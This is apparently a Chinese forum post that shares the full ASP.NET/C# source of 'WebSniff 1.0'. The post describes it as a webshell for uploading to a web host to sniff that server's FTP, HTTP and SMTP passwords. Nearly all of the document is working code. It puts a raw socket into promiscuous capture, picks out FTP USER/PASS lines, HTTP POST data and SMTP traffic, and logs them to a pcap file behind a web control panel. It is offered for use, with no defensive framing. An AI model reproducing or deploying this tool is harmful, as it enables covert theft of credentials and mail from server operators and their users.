|  | http://web-sniffer.net/是在线的web sniff。 还有一个webshell的,放在asp.net的空间,嗅探本服务器的ftp,http,smtp,pop3等密码 支持.net 2.0,不支持1.0吧(转的)。 <%@ Page Language="C#" ValidateRequest="false" %><%@ Import Namespace="System.Net.Sockets" %>
 <%@ Import Namespace="System.Net" %>
 <%@ Import Namespace="System.IO" %>
 <%@ Import Namespace="System.Collections" %>
 <%@ Import Namespace="System.Text" %>
 <%@ Import Namespace="System.Net.NetworkInformation" %>
 <%@ Import Namespace="System.Threading" %>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head runat="server">
 <title>WebSniff 1.0  Powered by  C.C.T。linx 修改版 </title>
 </head>
 <body>
 <script runat="server">
 static private Socket mainSocket;                          //The socket which captures all incoming packets
 private static byte[] byteData = new byte[2048];
 private static bool bContinueCapturing = true;            //A flag to check if packets are to be captured or not
 static int stoppackes = 0;
 static int port = 0;
 static string strIP = null;
 static long packets = 0;
 static System.IO.FileStream wfs;
 static string logfile =null;
 static PacketCaptureWriter pktwt;
 static string keyword;
 static DateTime stoptime = System.DateTime.Now.AddYears(-8);
 static Thread th;
 static int minisizepacket=0;
 static string proException = null;
 static Boolean logNextPacket = false;
 static Boolean my_s_ftp= true;
 static Boolean my_s_http_post = false;
 static Boolean my_s_smtp = false;
 protected void Page_Load(object sender, EventArgs e)
 {
 if (logfile == null)
 {
 logfile = Server.MapPath("w" + System.DateTime.Now.ToFileTime() + ".txt");
 }
 if (stoptime.Year == (System.DateTime.Now.Year - 8))
 {
 System.DateTime nextDay = System.DateTime.Now.AddDays(1);
 stoptime = nextDay;
 }
 //没有生成IP列表
 if (ddlist.Items.Count==0)
 {
 IPHostEntry HosyEntry = Dns.GetHostEntry((Dns.GetHostName()));
 if (HosyEntry.AddressList.Length > 0)
 {
 foreach (IPAddress ip in HosyEntry.AddressList)
 {
 ddlist.Items.Add(ip.ToString());
 }
 }
 }
 //如不是点击Starts按钮,则打印已经设过的参数
 if (Request.Form["Starts"] == null)
 {
 this.ddlist.SelectedValue = strIP;
 this.txtport.Text = port.ToString();
 this.txtMinisize.Text = minisizepacket.ToString();
 this.txtkeywords.Text = keyword;
 this.txtlogfile.Text = logfile;
 this.txtpackets.Text = stoptime.ToString();
 this.s_ftp.Checked = my_s_ftp;
 this.s_http_post.Checked = my_s_http_post;
 this.s_smtp.Checked = my_s_smtp;
 }
 if (th != null )
 {
 this.Lb_msg.Text = System.DateTime.Now.ToString()+"  State: <b>" + th.ThreadState.ToString() +"</b>  Packets: "+packets.ToString();
 }
 else
 {
 this.Lb_msg.Text = "Sniff Treads is not started";
 }
 if (Request.Form["Starts"] != null || th != null)
 {
 this.Starts.Enabled = false;
 }
 else
 {
 this.Starts.Enabled = true;
 }
 //点击了stop按钮
 if (Request.Form["Button1"] != null)
 {
 this.Starts.Enabled = true;
 this.Lb_msg.Text = System.DateTime.Now.ToString() + "  State: <b>stoping. Click \"Refresh\" again to see if thread is stoped successed.</b>  Packets: " + packets.ToString();
 }
 Lb_msg2.Text = proException; //错误信息
 }
 protected void Refresh_Click(object sender, EventArgs e)
 {
 }
 protected void Stop_Click(object sender, EventArgs e)
 {
 packets = stoppackes;
 //stoptime = System.DateTime.Now;
 proException += "<br>last time stop at " + System.DateTime.Now.ToString();
 bContinueCapturing = false;
 
 if (th != null)
 {
 th.Abort();
 th = null;
 }
 try
 {
 wfs.Close();
 mainSocket.Close();
 }
 catch (Exception ex)
 {
 }
 }
 protected void Pagestart()
 {
 //记录设置过的参数
 strIP = ddlist.SelectedValue;
 port = Int32.Parse(txtport.Text);
 stoptime = Convert.ToDateTime( txtpackets.Text);
 logfile = this.txtlogfile.Text;
 keyword = txtkeywords.Text;
 minisizepacket = Int32.Parse(txtMinisize.Text);
 my_s_ftp = this.s_ftp.Checked;
 my_s_http_post = this.s_http_post.Checked;
 my_s_smtp = this.s_smtp.Checked;
 wfs = System.IO.File.Create(logfile);
 pktwt = new PacketCaptureWriter(wfs, LinkLayerType.RawIP);
 bContinueCapturing = true;
 packets = 0;
 Start();
 }
 private static void Start()
 {
 byte[] byTrue = new byte[4] { 1, 0, 0, 0 };
 byte[] byOut = new byte[4] { 1, 0, 0, 0 };
 try
 {
 bContinueCapturing = true;
 mainSocket = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
 mainSocket.Bind(new IPEndPoint(IPAddress.Parse(strIP), 0));
 mainSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
 mainSocket.IOControl(IOControlCode.ReceiveAll, byTrue, byOut);
 }
 catch (Exception ex)
 {
 proException += ex.ToString()+"<BR>"; //静态方法可以访问静态变量proException
 }
 byteData = new byte[2048];
 while (System.DateTime.Now <= stoptime)
 {
 ParseData(byteData, mainSocket.Receive(byteData));
 }
 bContinueCapturing = false;
 wfs.Close();
 mainSocket.Close();
 }
 protected void Start_Click(object sender, EventArgs e)
 {
 if (this.txtlogfile.Text == "" || txtpackets.Text.Length < 1 || txtport.Text == "") return;
 th = new Thread(new ThreadStart(Pagestart));
 th.Start();
 //Session["workthread"] = th;
 this.Lb_msg.Text = "\r\nSniffing.Click \"Refresh\" to see the lastest status.";
 }
 public static ushort Get2Bytes(byte[] ptr, int Index, int Type)
 {
 ushort u = 0;
 if (Type == 0)
 {
 u = (ushort)ptr[Index++];
 u *= 256;
 u += (ushort)ptr[Index++];
 }
 else if (Type == 1)
 {
 u = (ushort)ptr[++Index];
 u *= 256; Index--;
 u += (ushort)ptr[Index++]; Index++;
 }
 return u;
 }
 private static void ParseData(byte[] byteData, int nReceived)
 {
 try
 {
 byte[] nbyte = new byte[nReceived];
 Array.Copy(byteData, nbyte, nReceived);
 if ((int)nbyte[9] == 6)
 {
 
 int sport = Get2Bytes(nbyte,  20,0);
 int dport = Get2Bytes(nbyte,  22,0);
 
 String datas=Encoding.Default.GetString(nbyte);
 Boolean logIt=false;
 
 if (my_s_ftp)
 {
 if ((sport == 21 || dport == 21) &&
 (datas.IndexOf("USER ") >= 0 || datas.IndexOf("PASS ") >= 0)
 )
 {
 logIt =true;
 }
 }
 if (!logIt && my_s_http_post)
 {
 if(logNextPacket){
 logIt =true;
 logNextPacket=false;
 
 }
 if (!logIt && datas.IndexOf("POST ")>=0)
 {
 logIt =true;
 logNextPacket=true;
 }
 
 }
 if (!logIt && my_s_smtp && (dport == 25 || sport == 25))
 {
 logIt =true;
 }
 
 //判断端口
 if (!logIt && (dport == port || sport == port))
 {
 if (nReceived > minisizepacket)
 {
 //判断关键字
 if (keyword != "")
 {
 if (datas.IndexOf(keyword) >= 0)
 {
 logIt =true;
 }
 }
 else
 {
 logIt =true;
 }
 }
 }
 if(logIt){
 PacketCapture pkt = new PacketCapture(nbyte, nReceived);
 pktwt.Write(pkt);
 packets++;
 }
 }
 }
 catch { }
 }
 public struct UnixTime
 {
 public static readonly DateTime MinDateTime = new DateTime(1970, 1, 1, 0, 0, 0);
 public static readonly DateTime MaxDateTime = new DateTime(2038, 1, 19, 3, 14, 7);
 private readonly int _Value;
 public UnixTime(int value)
 {
 if (value < 0)
 throw new ArgumentOutOfRangeException("value");
 _Value = value;
 }
 public int Value
 {
 get { return _Value; }
 }
 public DateTime ToDateTime()
 {
 const long START = 621355968000000000; // 1970-1-1 00:00:00
 return new DateTime(START + (_Value * (long)10000000)).ToLocalTime();
 }
 public static UnixTime FromDateTime(DateTime dateTime)
 {
 if (dateTime < MinDateTime || dateTime > MaxDateTime)
 throw new ArgumentOutOfRangeException("dateTime");
 TimeSpan span = dateTime.Subtract(MinDateTime);
 return new UnixTime((int)span.TotalSeconds);
 }
 public override string ToString()
 {
 return ToDateTime().ToString();
 }
 }
 public enum LinkLayerType : uint
 {
 Null = 0,
 Ethernet = 1,
 RawIP = 101,
 User0 = 147,
 User1 = 148,
 User2 = 149,
 User3 = 150,
 User4 = 151,
 User5 = 152,
 User6 = 153,
 User7 = 154,
 User8 = 155,
 User9 = 156,
 User10 = 157,
 User11 = 158,
 User12 = 159,
 User13 = 160,
 User14 = 161,
 User15 = 162,
 }
 public sealed class PacketCaptureWriter
 {
 #region Fields
 private const uint MAGIC = 0xA1B2C3D4;
 private readonly Stream _BaseStream;
 private readonly LinkLayerType _LinkLayerType;
 private readonly int _MaxPacketLength;
 private readonly BinaryWriter m_Writer;
 private bool m_ExistHeader = false;
 private int _TimeZone;
 private int _CaptureTimestamp;
 #endregion
 #region Constructors
 public PacketCaptureWriter(
 Stream baseStream, LinkLayerType linkLayerType,
 int maxPacketLength, int captureTimestamp)
 {
 if (baseStream == null) throw new ArgumentNullException("baseStream");
 if (maxPacketLength < 0) throw new ArgumentOutOfRangeException("maxPacketLength");
 if (!baseStream.CanWrite) throw new ArgumentException("Cant'Wirte Stream");
 _BaseStream = baseStream;
 _LinkLayerType = linkLayerType;
 _MaxPacketLength = maxPacketLength;
 _CaptureTimestamp = captureTimestamp;
 m_Writer = new BinaryWriter(_BaseStream);
 }
 public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType, int captureTimestamp)
 : this(baseStream, linkLayerType, 0xFFFF, captureTimestamp)
 {
 }
 public PacketCaptureWriter(Stream baseStream, LinkLayerType linkLayerType)
 : this(baseStream, linkLayerType, 0xFFFF, UnixTime.FromDateTime(DateTime.Now).Value)
 {
 }
 #endregion
 #region Properties
 public short VersionMajor
 {
 get { return 2; }
 }
 public short VersionMinjor
 {
 get { return 4; }
 }
 public int TimeZone
 {
 get { return _TimeZone; }
 set { _TimeZone = value; }
 }
 public int CaptureTimestamp
 {
 get { return _CaptureTimestamp; }
 set { _CaptureTimestamp = value; }
 }
 public Stream BaseStream
 {
 get { return _BaseStream; }
 }
 public LinkLayerType LinkLaterType
 {
 get { return _LinkLayerType; }
 }
 public int MaxPacketLength
 {
 get { return _MaxPacketLength; }
 }
 #endregion
 public void Write(PacketCapture packet)
 {
 CheckHeader();
 m_Writer.Write(packet.Timestamp.Value);
 m_Writer.Write(packet.Millseconds);
 m_Writer.Write(packet.Packet.Count);
 m_Writer.Write(packet.RawLength);
 m_Writer.Write(packet.Packet.Array, packet.Packet.Offset, packet.Packet.Count);
 }
 public void Flush()
 {
 BaseStream.Flush();
 }
 private void CheckHeader()
 {
 if (!m_ExistHeader)
 {
 m_Writer.Write(MAGIC);
 m_Writer.Write(VersionMajor);
 m_Writer.Write(VersionMinjor);
 m_Writer.Write(TimeZone);
 m_Writer.Write(CaptureTimestamp);
 m_Writer.Write(MaxPacketLength);
 m_Writer.Write((uint)LinkLaterType);
 m_ExistHeader = true;
 }
 }
 }
 public sealed class PacketCapture
 {
 private readonly UnixTime _Timestamp;
 private readonly ArraySegment<byte> _Packet;
 private readonly int _RawLength;
 private readonly int _Millseconds;
 public PacketCapture(ArraySegment<byte> packet, int rawLength, UnixTime timestamp, int millseconds)
 {
 if (packet.Count > rawLength)
 throw new ArgumentException("Length Error", "rawLength");
 _Packet = packet;
 _Timestamp = timestamp;
 _RawLength = rawLength;
 _Millseconds = millseconds;
 }
 public PacketCapture(ArraySegment<byte> packet, int rawLength, DateTime timestamp)
 : this(packet, rawLength, UnixTime.FromDateTime(timestamp), 0)
 {
 }
 public PacketCapture(ArraySegment<byte> packet, int rawLength)
 : this(packet, rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
 {
 }
 public PacketCapture(ArraySegment<byte> packet)
 : this(packet, packet.Count)
 {
 }
 public PacketCapture(byte[] packetData, int offset, int count, int rawLength, UnixTime timestamp, int millseconds)
 : this(new ArraySegment<byte>(packetData, offset, count), rawLength, timestamp, millseconds)
 {
 }
 public PacketCapture(byte[] packetData, int offset, int count, int rawLength, DateTime timestamp)
 : this(new ArraySegment<byte>(packetData, offset, count), rawLength, UnixTime.FromDateTime(timestamp), 0)
 {
 }
 public PacketCapture(byte[] packetData, int rawLength, UnixTime timestamp, int millseconds)
 : this(new ArraySegment<byte>(packetData), rawLength, timestamp, millseconds)
 {
 }
 public PacketCapture(byte[] packetData, int rawLength, DateTime timestamp)
 : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(timestamp), 0)
 {
 }
 public PacketCapture(byte[] packetData, int rawLength)
 : this(new ArraySegment<byte>(packetData), rawLength, UnixTime.FromDateTime(DateTime.Today), 0)
 {
 }
 public PacketCapture(byte[] packetData)
 : this(packetData, packetData.Length)
 {
 }
 public ArraySegment<byte> Packet
 {
 get { return _Packet; }
 }
 public UnixTime Timestamp
 {
 get { return _Timestamp; }
 }
 public int Millseconds
 {
 get { return _Millseconds; }
 }
 public int RawLength
 {
 get { return _RawLength; }
 }
 }
 </script>
 <style type="text/css">
 <!--
 a {
 color: #FF0000  ;text-decoration: none
 }
 #b
 {
 color: #336699;
 font-size: 10pt;
 text-align: right;
 }
 #tt
 {
 vertical-align: middle;
 font-size: 12pt;
 text-align: center;
 }
 #Ct_2
 {
 padding-left:30px;
 font-size: 10pt;
 color: #336699;
 vertical-align: middle;
 text-align: left;
 background-color: aliceblue;
 border-width: 1px;
 border-style: solid;
 border-color: -moz-use-text-color;
 padding-bottom:10px;
 }
 -->
 </style>
 <form id="form1" runat="server">
 <div id="tt">  <b> WebSniff 1.0</b><br /><br />  </div>
 <div id="Ct_2" >
 <table width="100%" >
 <tr >
 <td  width="10%"> BindIP: </td>
 <td ><asp:DropDownList ID="ddlist" runat="server" width="90%"></asp:DropDownList></td>
 </tr>
 <tr >
 <td  width="10%">Auto sniff: </td>
 <td >
 FTP Password:
 <asp:CheckBox ID="s_ftp" runat="server" Checked />
   
 HTTP Post Data:
 <asp:CheckBox ID="s_http_post" runat="server" />
   
 
 Smtp Data:
 <asp:CheckBox ID="s_smtp" runat="server" />
 
 
 </td>
 </tr>
 
 <tr>
 <td ">
 FilterPort:
 </td>
 <td>
 <asp:TextBox ID="txtport" Text="0"  width="90%" runat="server"></asp:TextBox>
 </td>
 </tr>
 <tr>
 <td >
 MiniSizeToCapture:
 </td>
 <td >
 <asp:TextBox ID="txtMinisize" Text="0"  width="90%" runat="server" ></asp:TextBox>
 </td>
 </tr>
 <tr>
 <td>
 KeyWordsFilter:
 </td>
 <td>
 <asp:TextBox ID="txtkeywords" runat="server"   width="90%" Text=""></asp:TextBox>
 </td>
 </tr>
 <tr>
 <td >
 LogFile:
 </td>
 <td>
 <asp:TextBox ID="txtlogfile" runat="server"   width="90%" Text="log.log" ></asp:TextBox>
 </td>
 </tr>
 <tr>
 <td >
 Stop At Time:
 </td>
 <td>
 <asp:TextBox ID="txtpackets" runat="server"  width="90%" Text="300"></asp:TextBox>
 </td>
 </tr>
 <tr>
 <td >
 Control:
 </td>
 <td   width="90%" >  <asp:Button ID="Starts" runat="server" OnClick="Start_Click" Text="Start" />
 <asp:Button ID="Button1" runat="server" OnClick="Stop_Click" Text="Stop" />
 <asp:Button ID="Button_ref" runat="server" OnClick="Refresh_Click" Text="Refresh/View Status" /><br />
 </td>
 </tr>
 <tr>
 <td  >
 Status:
 </td>
 <td   width="90%"><div id="s"><asp:Label ID="Lb_msg" runat="server" Text=""></div></asp:Label>
 </td>
 </tr>
 <tr>
 <td  >
 
 </td>
 <td   width="90%"><div id="s"><asp:Label ID="Lb_msg2" runat="server" Text=""></div></asp:Label>
 </td>
 </tr>
 </table>
 </div><br /><br />
 <div id=b>Powered by <a href="//www.cncert.net"> _fcksavedurl=""//www.cncert.net">" C.C.T </a>|Version 1.0
 <a href=" http://hi.baidu.com/cnqing/blog/item/92d8b35008ad871f377abee4.html">1</a>
 <a href="http://hi.baidu.com/linx2008/blog/item/7020f1de1b1c805395ee3768.html">2</a>
 </div>
 </form>
 </body>
 </html>
 
 
 |